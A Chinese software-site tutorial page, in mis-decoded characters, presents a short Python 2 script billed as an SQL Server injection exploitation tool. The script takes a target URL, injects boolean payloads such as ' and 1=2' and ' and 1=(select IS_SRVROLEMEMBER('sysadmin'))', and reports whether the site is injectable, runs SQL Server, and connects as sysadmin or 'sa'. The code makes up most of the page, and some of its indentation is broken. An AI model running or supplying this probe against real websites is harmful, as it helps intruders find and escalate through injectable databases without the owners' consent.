西西軟件園多重安全檢測下載網(wǎng)站、值得信賴的軟件下載站!
軟件
軟件
文章
搜索

首頁西西教程數(shù)據(jù)庫教程 → Python編寫數(shù)據(jù)庫SA用戶檢測方案

Python編寫數(shù)據(jù)庫SA用戶檢測方案

相關(guān)軟件相關(guān)文章發(fā)表評論 來源:本站整理時間:2011/7/14 15:03:48字體大。A-A+

作者:西西點擊:181次評論:0次標(biāo)簽: Python

《派森》(Python)3.13 win32 英文安裝版
  • 類型:編程工具大小:21M語言:英文 評分:8.7
  • 標(biāo)簽:
立即下載

無聊的時候,用Python寫的一個小程序,用有注入點的鏈接,檢測當(dāng)前數(shù)據(jù)庫用戶是否為sa,沒什么技術(shù)含量。

 # Code by zhaoxiaobu Email: little.bu@hotmail.com   

  1. #-*- coding: UTF-8 -*-    
  2. from sys import exit   
  3. from urllib import urlopen   
  4. from string import join,strip   
  5. from re import search   
  6.  
  7.  
  8. def is_sqlable():  
  9.     sql1="%20and%201=2" 
  10.     sql2="%20and%201=1" 
  11.     urlfile1=urlopen(url+sql1)  
  12.     urlfile2=urlopen(url+sql2)  
  13.     htmlcodes1=urlfile1.read()  
  14.     htmlcodes2=urlfile2.read()  
  15.     if not search(judge,htmlcodes1) and search(judge,htmlcodes2):  
  16.     print "[信息]恭喜!這個URL是有注入漏洞的!\n" 
  17.     print "[信息]現(xiàn)在判斷數(shù)據(jù)庫是否是SQL Server,請耐心等候....."   
  18.     is_SQLServer()  
  19.     else:  
  20.     print "[錯誤]你確定這個URL能用?換個別的試試吧!\n" 
  21.  
  22. def is_SQLServer():  
  23.     sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  24.     urlfile=urlopen(url+sql)  
  25.     htmlcodes=urlfile.read()  
  26.     if not search(judge,htmlcodes):  
  27.     print "[錯誤]數(shù)據(jù)庫好像不是SQL Server的!\n" 
  28.     else:  
  29.     print "[信息]確認是SQL Server數(shù)據(jù)庫!\n" 
  30.     print "[信息]開始檢測當(dāng)前數(shù)據(jù)庫用戶權(quán)限,請耐心等待......" 
  31.     is_sysadmin()  
  32.  
  33.  
  34. def is_sysadmin():   
  35.     sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  36.     urlfile = urlopen(url+sql)   
  37.     htmlcodes = urlfile.read()   
  38.     if not search(judge,htmlcodes):   
  39.         print "[錯誤]當(dāng)前數(shù)據(jù)庫用戶不具有sysadmin權(quán)限!\n" 
  40.     else:   
  41.         print "[信息]當(dāng)前數(shù)據(jù)庫用戶具有sysadmin權(quán)限!\n" 
  42.         print "[信息]檢測當(dāng)前用戶是不是SA,請耐心等待......" 
  43.         is_sa()   
  44.  
  45. def is_sa():   
  46.     sql = "%20and%20'sa'=(select%20System_user)";  
  47.     urlfile = urlopen(url+sql)   
  48.     htmlcodes = urlfile.read()   
  49.     if not search(judge,htmlcodes):   
  50.         print "[錯誤]當(dāng)前數(shù)據(jù)庫用戶不是SA!\n" 
  51.     else:   
  52.         print "[信息]當(dāng)前數(shù)據(jù)庫用戶是SA!\n" 
  53.  
  54.       
  55.       
  56.  
  57.  
  58. print "\n########################################################################\n"   
  59. print "                       ^o^SQL Server注入利用工具^o^          "   
  60. print "                      Email: little.bu@hotmail.com\n"   
  61. print "========================================================================";   
  62. url = raw_input('[信息]請輸入一個可能有注入漏洞的鏈接!\nURL:')   
  63. if url == '':   
  64.     print "[錯誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式"   
  65.     exit(1)   
  66.  
  67. judge = raw_input("[信息]請?zhí)峁┮粋判斷字符串.\n判斷字符串:")   
  68. if judge == '':   
  69.     print "[錯誤]判斷字符串不能為空!"   
  70.     exit(1)   
  71.  
  72. is_sqlable()  
  73.  
  74.  
  75.  
  76.  
  77.  

    相關(guān)評論

    閱讀本文后您有什么感想? 已有人給出評價!

    • 8 喜歡喜歡
    • 3 頂
    • 1 難過難過
    • 5 囧
    • 3 圍觀圍觀
    • 2 無聊無聊

    熱門評論

    最新評論

    發(fā)表評論 查看所有評論(0)

    昵稱:
    表情: 高興 可 汗 我不要 害羞 好 下下下 送花 屎 親親
    字數(shù): 0/500 (您的評論需要經(jīng)過審核才能顯示)